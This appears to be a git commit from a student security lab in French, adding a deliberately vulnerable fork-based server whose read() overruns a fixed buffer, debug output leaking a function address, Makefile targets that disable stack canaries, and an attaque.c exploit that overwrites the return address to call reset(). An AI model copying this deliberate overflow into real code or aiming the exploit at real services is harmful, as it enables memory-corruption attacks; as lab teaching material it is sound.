Version Fonctionnelle : Premiers tests d'attaques fait, (penser a mettre a jour le readme)

This commit is contained in:
Paul Faure 2021-01-11 15:55:42 +01:00
parent 28b1a6a7b0
commit 28cca06320
5 changed files with 138 additions and 3 deletions

1
.gitignore vendored
View file

@ -1,2 +1,3 @@
serveur
client
attaque

View file

@ -15,6 +15,8 @@ Tuteurs :
- Didier LeBotlan
- Eric AlataS
WARNING : TO USE THE MAKEFILE YOU MAY NEED "gcc-multilib" (sudo apt-get install gcc-multilib)
Programmes SERVEUR et CLIENT, principe général :
- Le serveur : Gere un entier (init 0) En écoute sur un port passé en paramètre, des qu'une connexion arrive, il fork, traite la connexion dans le fils, le père se remet en attente

View file

@ -58,6 +58,7 @@ void divi(int n) {
}
void reset() {
printf("Hello ça marche\n");
*addr_shm = 0;
}
@ -90,6 +91,15 @@ struct traitement process(int sock) {
// PRIMITIVE READ TRES MAL UTILISEE VOLONTAIREMENT
read(sock, buff, SIZE_MAX);
printf("Affichage de la PILE : \n addr buff : %p\n socket : %d\n", buff, sock);
int i;
for (i=0; i<220; i++) {
if (i != 0 && i % 4 == 0) {
printf(" ");
}
printf("%2.2hhx", buff[i]);
}
printf("\n");
struct traitement ret;
if (!strncmp(buff, "PRINT", 5)) {
@ -122,6 +132,8 @@ struct traitement process(int sock) {
int main(int argc, char * argv[])
{
printf("L'adresse de la fonction reset est : %p\n", reset);
if (argc != 2) {
printf("ERREUR : Usage : ./serveur N°Port\n");
exit(2);
@ -226,6 +238,8 @@ int main(int argc, char * argv[])
} else {
// Recupération du traitement
struct traitement taf = process(sock_connexion);
printf("On est revenu\n");
printf("On a sauté ?\n");
// Prise du Semaphore
buf.sem_op = -1;
rt = semop(sema, &buf, 1);

69
attaque.c Normal file
View file

@ -0,0 +1,69 @@
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define LATENCE 10000
#define FAT_LATENCE 1000000
#define FUNCTION usleep
#define SIZE_BUFF 212
#define NUM_PORT 1258
int main(int argc, char * argv[]) {
char prog_name[30];
sprintf(prog_name, "./client localhost %d", NUM_PORT);
// On ajoute 100 a la valeur
FILE * prog = popen(prog_name, "w");
if (prog == NULL) {
printf("ERREUR\n");
}
FUNCTION(LATENCE);
fprintf(prog, "ADD\n");
printf("ADD\n");
FUNCTION(LATENCE);
fprintf(prog, "100\n");
printf("100\n");
FUNCTION(LATENCE);
pclose(prog);
// On affiche la valeur
prog = popen(prog_name, "w");
if (prog == NULL) {
printf("ERREUR\n");
}
FUNCTION(LATENCE);
fprintf(prog, "PRINT\n");
printf("PRINT\n");
FUNCTION(LATENCE);
pclose(prog);
// On hack pour RESET
prog = popen(prog_name, "w");
if (prog == NULL) {
printf("ERREUR\n");
}
FUNCTION(LATENCE);
char buff[SIZE_BUFF + 1];
int i;
for (i=0; i<(SIZE_BUFF / 4); i++) {
buff[(i*4)] = 0x25;
buff[(i*4) + 1] = 0x9a;
buff[(i*4) + 2] = 0x6;
buff[(i*4) + 3] = 0x56;
}
buff[SIZE_BUFF] = '\0';
fprintf(prog, "%s\n", buff);
printf("Hack : %s\n%x%x%x%x\n", buff, buff[0], buff[1], buff[2], buff[3]);
FUNCTION(LATENCE);
pclose(prog);
// On Affiche pour verifier
prog = popen(prog_name, "w");
if (prog == NULL) {
printf("ERREUR\n");
}
FUNCTION(LATENCE);
fprintf(prog, "PRINT\n");
printf("PRINT\n");
FUNCTION(LATENCE);
pclose(prog);
}

View file

@ -1,6 +1,19 @@
default: all
default:
@echo "Usage : [ Classic | SansCanary | 32bits | 32bitsSansCanary | Attaque ]"
all: serveur client
Classic: clean serveur client
SansCanary: clean serveurSsCanary client
32bits: clean serveur32 client32
32bitsSansCanary: clean serveur32SsCanary client32
Attaque: clean attaque.c
@echo "######################################"
@echo "# Compilation du programme ATTAQUANT #"
@echo "######################################"
@echo ""
gcc -Wall attaque.c -o attaque
@echo ""
@echo ""
serveur: Serveur.c
@echo "######################################"
@ -20,8 +33,44 @@ client: Client.c
@echo ""
@echo ""
serveur32: Serveur.c
@echo "######################################"
@echo "# Compilation du SERVEUR en 32 bits #"
@echo "######################################"
@echo ""
gcc -Wall -m32 Serveur.c -o serveur
@echo ""
@echo ""
client32: Client.c
@echo "######################################"
@echo "## Compilation du CLIENT en 32 bits ##"
@echo "######################################"
@echo ""
gcc -Wall -m32 Client.c -o client
@echo ""
@echo ""
serveurSsCanary: Serveur.c
@echo "######################################"
@echo "# Compilation du SERVEUR sans Canary #"
@echo "######################################"
@echo ""
gcc -Wall -fno-stack-protector Serveur.c -o serveur
@echo ""
@echo ""
serveur32SsCanary: Serveur.c
@echo "#################################################"
@echo "# Compilation du SERVEUR en 32 bits sans Canary #"
@echo "#################################################"
@echo ""
gcc -Wall -m32 -fno-stack-protector Serveur.c -o serveur
@echo ""
@echo ""
edit:
pluma Serveur.c Client.c &
clean:
@rm client serveur
@rm -f client serveur attaque